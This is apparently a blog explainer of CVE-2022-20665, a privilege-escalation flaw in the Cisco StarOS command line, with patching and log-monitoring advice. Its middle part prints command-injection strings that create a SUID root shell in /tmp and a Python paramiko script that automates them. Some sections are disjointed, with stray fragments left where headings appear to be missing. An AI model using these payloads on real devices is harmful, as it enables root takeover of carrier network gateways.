CVE-2022-20665 - Cisco StarOS Privilege Escalation Explained

The world of mobile networking relies on high-performance, secure platforms—and Cisco’s StarOS is a key player, powering gateways in 4G/5G core networks. But in early 2022, a security flaw emerged that put those systems at risk of root-level takeovers by anyone with admin credentials. Let’s break down CVE-2022-20665 in simple terms, walk through an exploit example, and see how you can protect your network.

What is CVE-2022-20665?

CVE-2022-20665 is a security vulnerability in the command-line interface (CLI) of Cisco StarOS (used in Cisco ASR 500 Series and others). If you’re an attacker with any admin account, you could use a weakness in how the CLI checks input to run code as root—even if your admin account isn’t meant to have such power.

Official Announcement:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-staros-priv-esc-rwPdE2m7

Impact: Gains root privileges (full system control!)

- CVE Record: NVD CVE-2022-20665

How Does This Bug Work?

Most operating systems and CLI tools check what commands a user is allowed to run. If you’re an admin, you have access to many commands, but not always to real “root.” This StarOS flaw failed to scrub (sanitize) user input properly, so a clever attacker could trick the CLI into running something as root, even though that wasn’t supposed to be allowed.

What’s broken? On affected StarOS versions, input validation for CLI commands is weak. If a user with admin credentials sends “crafted” (deliberately mangled) commands, the system can be persuaded to “smuggle” dangerous code to a system shell *as root*.

Exploit Scenario Step-by-Step

Let’s walk through an example. Assume the attacker already has an admin login (which could be a hijacked, phished, or default password account).

First, the attacker logs in to the StarOS device as an admin

ssh admin@affected-staros-device

Let’s say the CLI offers a command like

run shell <command>

Normally, this is supposed to restrict what can be executed, or do additional checks.

Because of the insufficient input validation, commands like this might be possible

run shell "; whoami; id; uname -a; echo Exploited!"

*Notice the use of ; — this is command chaining in Unix-like shells.*

Example Exploit Command

run shell "; cp /bin/sh /tmp/rootsh; chmod 4777 /tmp/rootsh"

- This copies /bin/sh (the system shell) to a location where anyone can access it.
- It then sets the “SUID” root bit, so anytime anyone runs /tmp/rootsh, it executes as root!

Now the attacker simply runs

/tmp/rootsh

Result: They get a root shell, full control, and can pivot anywhere on the device.

Example Python Exploit

Here is a basic Python snippet for automation, for educational purposes only!

import paramiko

ip = "staros-device-ip"
username = "admin"
password = "yourpassword"

payload = 'run shell "; cp /bin/sh /tmp/rootsh; chmod 4777 /tmp/rootsh"'

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=username, password=password)

stdin, stdout, stderr = client.exec_command(payload)
print(stdout.read().decode())

print("Try running /tmp/rootsh next for a root shell!")
client.close()

Lateral Movement: With root, attackers could pivot to attack other devices in the network.

- Network Blackouts: Controllers and gateways could be wiped or sabotaged, causing service interruptions for mobile networks.

Default or weak admin credentials exist on your gateway.

- CLI accounts are shared/poorly managed.

Update Now:

Apply Cisco’s official patches immediately.

Monitor Logs:

Watch for suspicious run shell usages or creation of suspicious binaries (like /tmp/rootsh).

In Plain Language

If you have CLI admin access to a Cisco StarOS device running an unpatched version, you could become *root* with a tricky command. This bug means any admin can break out of their “cage” and run code with the highest possible powers, risking everything from data theft to total device takeover.

Patch immediately, audit your accounts, and never assume admin is safe enough—least privilege and up-to-date software remain your best defenses.

*Stay safe out there! Let us know if you have questions or want help testing your environment for risky privilege escalation scenarios like CVE-2022-20665.*

Timeline

Published on: 04/06/2022 19:15:00 UTC
Last modified on: 04/14/2022 15:45:00 UTC

CVE-2022-20665 - Cisco StarOS Privilege Escalation Explained — How a Simple Input Bug Risks Root